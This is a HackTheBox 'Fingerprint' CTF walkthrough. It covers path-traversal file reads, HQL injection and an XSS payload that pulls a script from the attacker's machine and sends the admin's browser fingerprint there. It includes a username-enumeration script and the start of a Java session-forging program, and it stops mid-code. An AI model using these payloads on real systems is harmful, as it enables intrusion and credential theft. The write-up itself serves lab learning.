HackTheBox - Fingerprint

— Written by — 37 min read
figerprint-hackthebox

Fingerprint just retired on Hack The Box. It’s an ‘Insane’ difficulty Linux box.
As usual it was a really well designed box which required a ton of enumeration and going back and forth through all the findings. I had to make a mind-map to keep track of all the interesting findings and each could be linked together. The box doesn’t rely on common vulnerabilities but rather on little configuration and coding errors that allow you to chain vulnerabilities until you can obtain what you need. In the end it’s a tough but awesome box that allowed me to learn new techniques I was unfamiliar with before. Highly recommended.

Tl;Dr: To get the user flag you first had to exploit a Local File Inclusion (LFI) vulnerability in the main app in order to retrieve its source code and database. You can then retrieve working credentials from the database to access the app. Once authenticated you can exploit an XSS to retrieve the user fingerprint which, linked to an HQL Injection allows to completely bypass the authentication in the second app. While connected you can then see a JSON Web Token (JWT) set as a cookie, decoding it return serialized information of the connected user including their Admin status. With more recon you can find some source code of the app, allowing you to retrieve the secret used to sign as well as the serialization logic. Using this information we can forge a new valid token to authenticate as admin. Being Admin unlocks a new feature, which, after reading through the source code, is vulnerable to blind command injection in the cookie decoding process; knowing this we can forge a cookie containing a reserve shell and get our initial access as www-data user. Once in the box we find a SUID binary belonging to john with basic grep functionalities. Since the binary belongs to john it can access it’s SSH private key, and searching character after character we can brute-force the whole key, connect as john and grab the user flag.

For the root flag you can find the source code of an improved version of the main application, running on port 8088. The source code shows the implementation of a new cookie logic using AES-ECB encryption. Knowing the weakness of the ECB algorithm we can launch a brute-force attack on the cookie generation logic in order to retrieve the secret used to create cookies. Once we have the secret we can easily forge a cookie for the admin user, exploiting a flaw in the admin cookie verification. Once authenticated as admin, we can exploit the initial LFI vulnerability we found at the beginning to access root account SSH private key and grab the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.129.118.212 fingerprint.htb" >> /etc/hosts

And let’s start!

User flag

Recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[[email protected] ~]$ nmap -sV -sT -sC fingerprint.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-16 15:48 UTC
Nmap scan report for fingerprint.htb (10.129.118.212)
Host is up (0.033s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 90:65:07:35:be:8d:7b:ee:ff:3a:11:96:06:a9:a1:b9 (RSA)
| 256 4c:5b:74:d9:3c:c0:60:24:e4:95:2f:b0:51:84:03:c5 (ECDSA)
|_ 256 82:f5:b0:d9:73:18:01:47:61:f7:f6:26:0a:d5:cd:f2 (ED25519)
80/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-server-header: Werkzeug/1.0.1 Python/2.7.17
|_http-title: mylog - Starting page
8080/tcp open http Sun GlassFish Open Source Edition 5.0.1
| http-methods:
|_ Potentially risky methods: PUT DELETE TRACE
|_http-server-header: GlassFish Server Open Source Edition 5.0.1
|_http-title: secAUTH
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.68 seconds

On top of the usual SSH port, we can see two web ports open 80 and 8080, which are respectively a Python Web App and a Sun Glassfish Server.

Once opened, we notice that both websites are simple landing pages and require authentication to use all the functionalities.

On one hand the main server, gobuster doesn’t allow us to find anything interesting and on the other hand the GlassFish server returns a few available endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[[email protected] ~]$ gobuster dir -u "http://fingerprint.htb:8080/" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://fingerprint.htb:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/vagrant/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/16 16:18:38 Starting gobuster in directory enumeration mode
===============================================================
/META-INF (Status: 301) [Size: 187] [--> http://fingerprint.htb:8080/META-INF/]
/WEB-INF (Status: 301) [Size: 186] [--> http://fingerprint.htb:8080/WEB-INF/]
/backups (Status: 301) [Size: 186] [--> http://fingerprint.htb:8080/backups/]
/j_security_check (Status: 401) [Size: 1094]
/login (Status: 200) [Size: 1733]
/resources (Status: 301) [Size: 188] [--> http://fingerprint.htb:8080/resources/]
/upload (Status: 405) [Size: 1184]
/welcome (Status: 302) [Size: 183] [--> http://fingerprint.htb:8080/login

Unfortunately they all return 404, we probably need to be logged to access the resources.

Let’s try to focus on the main website to enumerate as much as possible and find useful output.

After trying Clusterbomb mode with ffuf we can find two new endpoints, /admin/view and /admin/delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[[email protected] ~]$ ffuf -u http://fingerprint.htb/admin/FUZZ/FUZZ -mode clusterbomb -w common.txt -w common.txt

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.4.1
________________________________________________

:: Method : GET
:: URL : http://fingerprint.htb/admin/FUZZ/FUZZ
:: Wordlist : FUZZ: common.txt
:: Wordlist : FUZZ: common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

delete [Status: 200, Size: 18, Words: 4, Lines: 1, Duration: 45ms]
view [Status: 200, Size: 18, Words: 4, Lines: 1, Duration: 51ms]

Local File Inclusion

After digging around for a very long time and trying the most common exploit on both of these endpoints we finally a get positive result!

A Local File Inclusion (LFI) vulnerability in /admin/view/:

1
2
3
4
5
6
7
[[email protected] ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
[...]
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
flask:x:1001:1001::/home/flask:/bin/sh%

We can see we have two users, john and flask.

We know from HTTP request that the server is Werkzeug, a Python Web Server Gateway Interface (WSGI) library. So it does make sense that the web application is running the very common Python web framework Flask.

After a bit of directory brute-force on the server (knowing the common app name format used in Flask project) we manage to retrieve the app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
[[email protected] ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/app.py"
from flask import Flask, redirect, request, render_template, session, g, url_for, send_file, make_response
from .auth import check

import os
from os import listdir
from os.path import isfile, join
import io

LOG_PATH = "/data/logs/"

app = Flask(__name__)

app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('

@app.before_request
def load_user():
uid = session.get("user_id")
g.uid = uid

@app.route("/")
def main():
return render_template('index.html')

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == 'POST':
user = do_auth()
if user:
session["user_id"] = user[1]
return redirect(url_for("admin"), code=200)

return show_login()

def filter_logs(ip, logs):
if ip.startswith('127.0.'):
return '\n'.join(logs)
return '\n'.join(filtered_logs)

@app.route("/admin")
def admin():
#log_files = [(f, os.path.getsize(join(LOG_PATH, f))) for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_names = [f for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_files = []
for name in log_names:
f = open(join(LOG_PATH, name), 'r')
data = f.readlines()
f.close()
log_files.append((name, len(filter_logs(request.remote_addr, data))))

site_content=render_template('admin.html', log_files=log_files)

if g.uid is None or not g.uid:
resp = make_response(site_content, 302)
resp.headers['Location'] = '/login'
return resp

return site_content

@app.route("/admin/view/<path:log_path>")
def logs_view(log_path):

try:
path = LOG_PATH + log_path
with open(path, 'r') as file:
data = file.readlines()
return filter_logs(request.remote_addr, data)
except Exception as e:
return "No such log found!"

return None

@app.route("/admin/delete/<path:log_path>")
def logs_delete(log_path):

try:
path = LOG_PATH + log_path
os.remove(path)
return redirect(url_for("admin"))
except Exception as e:
return "No such log found!"

return data

def do_auth():
user = request.form.get('username')
password = request.form.get('password')

return check(user, password)

def show_login():
return render_template('login.html')%

Following the breadcrumbs in app.py we can retrieve other important files:

1
from .auth import check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[[email protected] ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/auth.py"
import sqlite3

def check(user, password):

from .util import build_safe_sql_where

conn = sqlite3.connect('users.db')
cursor = conn.cursor()

cond = build_safe_sql_where({"username": user, "password": password})

query = "select * from users " + cond

cursor.execute(query)

rows = cursor.fetchall()

for x in rows:
return x

return None%

users.db database

Upon reading the source code of [app.py](http://app.py) we know where to get the users.db database, let’s get it:

1
[[email protected] ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db" -o users.db

After opening it we can find the admin login and its clear text password:

1
2
3
4
5
6
7
[[email protected] ~]$ sqlite3 users.db
SQLite version 3.38.2 2022-03-26 13:51:10
sqlite> .tables
users
sqlite> SELECT * FROM users;
0|admin|u_will_never_guess_this_password
sqlite>

Ok, we got the admin credentials and can now connect to the website:

https://user-images.githubusercontent.com/9076747/163688997-7d268b7c-07a4-450d-bc5a-abfc9de98fc5.png

The application only function seems to be displaying the auth.log file from this admin interface. When opening the file we can notice it’s the authentication log from the other application running on port 8080:

https://user-images.githubusercontent.com/9076747/163689139-f8eccb2f-2169-457e-a6d8-e666a385fc68.png

XSS on auth.log

The first thing that comes to mind is log poisoning in order to achieve Remote Code Execution (RCE) from the RFI we found earlier. Unfortunately this won’t be possible since the app is running in Python and not PHP.

We can do self-XSS by inputting JavaScript in the username or password field but that won’t be helpful. Let’s move on.

https://user-images.githubusercontent.com/9076747/163689525-da0d789c-4a6e-4e43-80a2-55f3d5cb8cd2.png

HQL Injection

I want to take the time to focus on the authentication page of the second app running on port 8080.

As any competent pen tester the first thing I tried was SQL injection on the password field but with no luck. Then I tried setting my username to hg8' and surprisingly it worked and a QueryException got raised:

https://user-images.githubusercontent.com/9076747/163690088-f1798f94-a65b-4cae-87fe-c2225bd9b719.png

It looks like the password field is filtered for SQL injection but not the username field.

I was unfamiliar with Hibernate, turns out it’s a query language (HQL):

Hibernate uses a powerful query language (HQL) that is similar in appearance to SQL. Compared with SQL, however, HQL is fully object-oriented and understands notions like inheritance, polymorphism and association.
https://docs.jboss.org/hibernate/core/3.3/reference/en/html/queryhql.html

When trying the most common injection uid=x' OR 1 = 1 and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a25 we get a new error message:

1
javax.persistence.NonUniqueResultException: query did not return a unique result: 2

Seems like we have 2 users in the database. I manually tried admin and john but neither worked.

HQL does not support UNION queries nor comments, which make it difficult to exfiltrate table information.
Then, one technique we can use is substring() to iterate on each character of the username.

We can imagine the query run by the app being the following format:

1
SELECT u FROM Users u WHERE u.uid = 'admin' AND authprimary = 'password' AND authsecondary = 'xxx'

We can try the following injection x' OR SUBSTRING(uid,1,1)='a' and ''=' which will end up in the following query:

1
SELECT u FROM Users u WHERE u.uid = 'x' OR SUBSTRING(uid,1,1)='a' and ''='' AND auth_primary = 'test' AND auth_secondary = 'xxx'

We get a new error that seems to mean the uid field doesn’t exist.

1
javax.persistence.PersistenceException: org.hibernate.exception.SQLGrammarException: could not extract ResultSet

Let’s try with username instead:

1
uid=x' OR SUBSTRING(username,1,1)='a' and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a2525

Bingo! It works and we get a new error this time about auth_secondary meaning we probably successfully bypassed the username/password part of the authentication:

https://user-images.githubusercontent.com/9076747/163710365-7515ee7f-f3fd-4dd8-afc3-4d8d4496196d.png

Note: We could have guessed the username was admin and the following payload would have worked as well:

1
uid=x' OR username='admin' and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a25

The substring method could have been used to enumerate the username of the second user with a simple script. So far it doesn’t seem necessary.

Let’s now focus on the unusual auth_secondary parameter sent when trying to log in:

https://user-images.githubusercontent.com/9076747/163689606-e3c205dd-be3d-479e-92b8-658f5b71d095.png

The parameter is the same on every request and looks like an MD5 format.

Checking the page source code we can see the JavaScript file generating the auth_secondary string at http://fingerprint.htb:8080/resources/js/login.js

1
2
3
4
5
6
7
8
9
10
11
function getFingerPrintID() {
let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl.DateTimeFormat().resolvedOptions().timeZone;

for (const plugin of navigator.plugins) {
fingerprint += plugin.name + ",";
}
for (const mime of navigator.mimeTypes) {
fingerprint += mime.type + ",";
}
return MD5(fingerprint)
}

So this is where the name of the box comes from. This function is gathering a lot of information from the client and creating an MD5 fingerprint from concatenating all this data.

We can guess that only the fingerprint of the two users in the database are allowed to connect.

The MD5 hash function comes from a common JavaScript implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
var md5 = (function() {
var MD5 = function (d) {
return M(V(Y(X(d), 8 * d.length)))
}
function M (d) {
for (var _, m = '0123456789abcdef', f = '', r = 0; r < d.length; r++) {
_ = d.charCodeAt(r)
f += m.charAt(_ >>> 4 & 15) + m.charAt(15 & _)
}
return f
}
function X (d) {
for (var _ = Array(d.length >> 2), m = 0; m < _.length; m++) {
_[m] = 0
}
for (m = 0; m < 8 * d.length; m += 8) {
_[m >> 5] |= (255 & d.charCodeAt(m / 8)) << m % 32
}
return _
}
function V (d) {
for (var _ = '', m = 0; m < 32 * d.length; m += 8) _ += String.fromCharCode(d[m >> 5] >>> m % 32 & 255)
return _
}
function Y (d, _) {
d[_ >> 5] |= 128 << _ % 32
d[14 + (_ + 64 >>> 9 << 4)] = _
for (var m = 1732584193, f = -271733879, r = -1732584194, i = 271733878, n = 0; n < d.length; n += 16) {
var h = m
var t = f
var g = r
var e = i
f = md5ii(f = md5ii(f = md5ii(f = md5ii(f = md5hh(f = md5hh(f = md5hh(f = md5hh(f = md5gg(f = md5gg(f = md5gg(f = md5gg(f = md5ff(f = md5ff(f = md5ff(f = md5ff(f, r = md5ff(r, i = md5ff(i, m = md5ff(m, f, r, i, d[n + 0], 7, -680876936), f, r, d[n + 1], 12, -389564586), m, f, d[n + 2], 17, 606105819), i, m, d[n + 3], 22, -1044525330), r = md5ff(r, i = md5ff(i, m = md5ff(m, f, r, i, d[n + 4], 7, -176418897), f, r, d[n + 5], 12, 1200080426), m, f, d[n + 6], 17, -1473231341), i, m, d[n + 7], 22, -45705983), r = md5ff(r, i = md5ff(i, m = md5ff(m, f, r, i, d[n + 8], 7, 1770035416), f, r, d[n + 9], 12, -1958414417), m, f, d[n + 10], 17, -42063), i, m, d[n + 11], 22, -1990404162), r = md5ff(r, i = md5ff(i, m = md5ff(m, f, r, i, d[n + 12], 7, 1804603682), f, r, d[n + 13], 12, -40341101), m, f, d[n + 14], 17, -1502002290), i, m, d[n + 15], 22, 1236535329), r = md5gg(r, i = md5gg(i, m = md5gg(m, f, r, i, d[n + 1], 5, -165796510), f, r, d[n + 6], 9, -1069501632), m, f, d[n + 11], 14, 643717713), i, m, d[n + 0], 20, -373897302), r = md5gg(r, i = md5gg(i, m = md5gg(m, f, r, i, d[n + 5], 5, -701558691), f, r, d[n + 10], 9, 38016083), m, f, d[n + 15], 14, -660478335), i, m, d[n + 4], 20, -405537848), r = md5gg(r, i = md5gg(i, m = md5gg(m, f, r, i, d[n + 9], 5, 568446438), f, r, d[n + 14], 9, -1019803690), m, f, d[n + 3], 14, -187363961), i, m, d[n + 8], 20, 1163531501), r = md5gg(r, i = md5gg(i, m = md5gg(m, f, r, i, d[n + 13], 5, -1444681467), f, r, d[n + 2], 9, -51403784), m, f, d[n + 7], 14, 1735328473), i, m, d[n + 12], 20, -1926607734), r = md5hh(r, i = md5hh(i, m = md5hh(m, f, r, i, d[n + 5], 4, -378558), f, r, d[n + 8], 11, -2022574463), m, f, d[n + 11], 16, 1839030562), i, m, d[n + 14], 23, -35309556), r = md5hh(r, i = md5hh(i, m = md5hh(m, f, r, i, d[n + 1], 4, -1530992060), f, r, d[n + 4], 11, 1272893353), m, f, d[n + 7], 16, -155497632), i, m, d[n + 10], 23, -1094730640), r = md5hh(r, i = md5hh(i, m = md5hh(m, f, r, i, d[n + 13], 4, 681279174), f, r, d[n + 0], 11, -358537222), m, f, d[n + 3], 16, -722521979), i, m, d[n + 6], 23, 76029189), r = md5hh(r, i = md5hh(i, m = md5hh(m, f, r, i, d[n + 9], 4, -640364487), f, r, d[n + 12], 11, -421815835), m, f, d[n + 15], 16, 530742520), i, m, d[n + 2], 23, -995338651), r = md5ii(r, i = md5ii(i, m = md5ii(m, f, r, i, d[n + 0], 6, -198630844), f, r, d[n + 7], 10, 1126891415), m, f, d[n + 14], 15, -1416354905), i, m, d[n + 5], 21, -57434055), r = md5ii(r, i = md5ii(i, m = md5ii(m, f, r, i, d[n + 12], 6, 1700485571), f, r, d[n + 3], 10, -1894986606), m, f, d[n + 10], 15, -1051523), i, m, d[n + 1], 21, -2054922799), r = md5ii(r, i = md5ii(i, m = md5ii(m, f, r, i, d[n + 8], 6, 1873313359), f, r, d[n + 15], 10, -30611744), m, f, d[n + 6], 15, -1560198380), i, m, d[n + 13], 21, 1309151649), r = md5ii(r, i = md5ii(i, m = md5ii(m, f, r, i, d[n + 4], 6, -145523070), f, r, d[n + 11], 10, -1120210379), m, f, d[n + 2], 15, 718787259), i, m, d[n + 9], 21, -343485551)
m = safeadd(m, h)
f = safeadd(f, t)
r = safeadd(r, g)
i = safeadd(i, e)
}
return [m, f, r, i]
}
function md5cmn (d, _, m, f, r, i) {
return safeadd(bitrol(safeadd(safeadd(_, d), safeadd(f, i)), r), m)
}
function md5ff (d, _, m, f, r, i, n) {
return md5cmn(_ & m | ~_ & f, d, _, r, i, n)
}
function md5gg (d, _, m, f, r, i, n) {
return md5cmn(_ & f | m & ~f, d, _, r, i, n)
}
function md5hh (d, _, m, f, r, i, n) {
return md5cmn(_ ^ m ^ f, d, _, r, i, n)
}
function md5ii (d, _, m, f, r, i, n) {
return md5cmn(m ^ (_ | ~f), d, _, r, i, n)
}
function safeadd (d, _) {
var m = (65535 & d) + (65535 & _)
return (d >> 16) + (_ >> 16) + (m >> 16) << 16 | 65535 & m
}
function bitrol (d, _) {
return d << _ | d >>> 32 - _
}
function MD5Unicode(buffer){
if (!(buffer instanceof Uint8Array)) {
buffer = new TextEncoder().encode(typeof buffer==='string' ? buffer : JSON.stringify(buffer));
}
var binary = [];
var bytes = new Uint8Array(buffer);
for (var i = 0, il = bytes.byteLength; i < il; i++) {
binary.push(String.fromCharCode(bytes[i]));
}
return MD5(binary.join(''));
}

return MD5Unicode;
})();

Given the fingerprint source code is available to us and in a JavaScript format it’s perfect for the XSS vulnerability we found earlier. By hosting the script on our attacker machine we can get the admin to trigger the XSS and exfiltrate his fingerprint for us to reuse.

First let’s modify the script a little so it will give us the fingerprint:

1
2
3
[[email protected] ~]$ wget [http://fingerprint.htb:8080/resources/js/login.js](http://fingerprint.htb:8080/resources/js/login.js)
[[email protected] ~]$ echo 'location.href="http://10.10.14.80:8000/"+getFingerPrintID();' >> login.js
[[email protected] ~]$ python -m http.server

Then send our XSS payload to show up in the main application auth log.

1
<script src="http://10.10.14.80:8000/login.js"></script>

And Bingo! We get the fingerprint of the admin account:

1
2
3
4
5
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.118.212 - - [17/Apr/2022 10:44:09] "GET /login.js HTTP/1.1" 200 -
10.129.118.212 - - [17/Apr/2022 10:44:09] code 404, message File not found
10.129.118.212 - - [17/Apr/2022 10:44:09] "GET /962f4a03aa7ebc0515734cf398b0ccd6 HTTP/1.1" 404 -

Let’s now try to log in using this fingerprint ID and the information we retrieved earlier:

https://user-images.githubusercontent.com/9076747/163711238-ccb7eb49-75ed-4bc9-8c9c-11b45833335f.png

But unfortunately, we get hit with an Invalid fingerprint-ID error again.
This means the fingerprint we retrieved is not from admin but from the other user we found in the database.

Let’s go back a little and create a quick and dirty enumeration script to retrieve this second user username:

1
2
3
4
5
6
7
8
9
10
import requests
import string

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

for c in string.ascii_letters:
r = requests.post("http://fingerprint.htb:8080/login", data=f"uid=x' OR SUBSTRING(username,1,1)='{c}' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6", headers=headers)
if "Sign In" not in r.text:
print(f"[!] Found username first char: {c}")
exit()

After too many failed attempts we get blocked by the server so we can’t retrieve the full username. But it’s ok, the first character is enough for the injection:

1
2
[[email protected] ~]$ python get_username.py
[!] Found username first char: m

Authentication Bypass

Chaining the HQL Injection and the XSS vulnerability we can create our final payload which allow us to bypass the authentication form:

1
uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6

https://user-images.githubusercontent.com/9076747/163713586-c0015a06-3f13-41cb-a726-57670cd7b86d.png

We access an image uploading website. Playing around with it we can see that all files uploaded end up in an images folder but there doesn’t seem to be any way to exploit it.

Once again, when being stuck let’s go back for more recon to see if any useful information can be found.

Backups

While taking a closer look at the HTTP request we can notice the cookie being set when login contains serialized information, including the username we couldn’t fully ex-filtrate earlier, it’s micheal1235.

1
2
3
4
5
6
7
[[email protected] ~]$ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw
[[email protected] ~]$ jq -R 'split(".") | .[1] | @base64d | fromjson' <<< "$JWT"
{
"user": "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1"
}
[[email protected] ~]$ echo "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1" | base64 -d
�sr!com.admin.security.src.model.User��kIidL fingerprinttLjava/lang/String;[email protected]e7f535b1b4fa6bbfe08678f6tLWg7gUR1EmX7UNxsJxqZt micheal1235%

While continuing the recon with gobuster we find two Java files in the /backups/folder: [User.java](http://User.java) and Profile.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// http://fingerprint.htb:8080/backups/Profile.java
package com.admin.security.src.model;

import com.admin.security.src.profile.UserProfileStorage;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;

@Data
public class Profile implements Serializable {
private static final long serialVersionUID = 3995854114743474071L;

private final List<String> logs;
private final boolean adminProfile;

private File avatar;

public static Profile getForUser(final User user) {
// fetch locally saved profile
final File file = user.getProfileLocation();

Profile profile;

if (!file.isFile()) {
// no file -> create empty profile
profile = new Profile(new ArrayList<>(), user.isAdmin());
try {
user.updateProfile(profile);
} catch (final IOException ignored) {
}
}

// init logs etc.
profile = new UserProfileStorage(user).readProfile();

return profile;

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// http://fingerprint.htb:8080/backups/User.java
package com.admin.security.src.model;

import com.admin.security.src.utils.FileUtil;
import com.admin.security.src.utils.SerUtils;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.persistence.*;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.nio.file.Paths;

// import com.admin.security.src.model.UserProfileStorage;
@AllArgsConstructor
@NoArgsConstructor
@Entity
@Data
@Table(name = "users")
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;

@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "id")
protected int id;

@Column(name = "username")
protected String username;

@Column(name = "password")
protected String password;

@Column(name = "fingerprint")
protected String fingerprint;

public File getProfileLocation() {
final File dir = new File("/data/sessions/");
dir.mkdirs();

final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";
return Paths.get(pathname).normalize().toFile();
}

public boolean isAdmin() {
return username.equals("admin");
}

public void updateProfile(final Profile profile) throws IOException {
final byte[] res = SerUtils.toByteArray(profile);
FileUtil.write(res, getProfileLocation());
}
}

We can see here the application logic of session management and understand how the serialized token we found in our cookie is being created.

An interesting line is the quite simple isAdmin() check:

1
2
3
public boolean isAdmin() {
return username.equals("admin");
}

This means if we get control of just the username field only we can become Admin of the application.

Earlier when we retrieve the [app.py](http://app.py) file of the main application we obtained the SECRET_KEY which, in a Flask application, is used to sign session token (JWT). If we can rewrite the serialized cookie to replace the username with admin we will be able to forge a valid JWT token to give us access to the admin account.

Using the code source of the [User.java](http://User.java) we retrieved earlier we can create a script to revert the serialize function after modifying our username to admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// com/admin/security/src/model/AdminSerialize.java
package com.admin.security.src.model;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;

class AdminSerialize {
public static void main(String[] args) {
try {
byte[] serializedUserBytes = Base64.getDecoder().decode("rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1");
ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);

// https://gist.github.com/andy722/1524968
ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);
User user = (User)objectInputStream.readObject();

System.out.println("[+] Cookie user information deserialized.");
System.out.println("ID: " + user.getId());
System.out.println("Username: " + user.getUsername());
System.out.println("Password: " + user.getPassword());
System.out.println("Fingerprint: " + user.getFingerprint());

System.out.println("\n[+] Replacing username to 'admin' and serializing the Object.");
user.setUsername("admin");
System.out.println("ID: " + user.getId());
System.out.println("Username: " + user.getUsername());
System.out.println("Password: " + user.getPassword());
System.out.println("Fingerprint: " + user.getFingerprint());

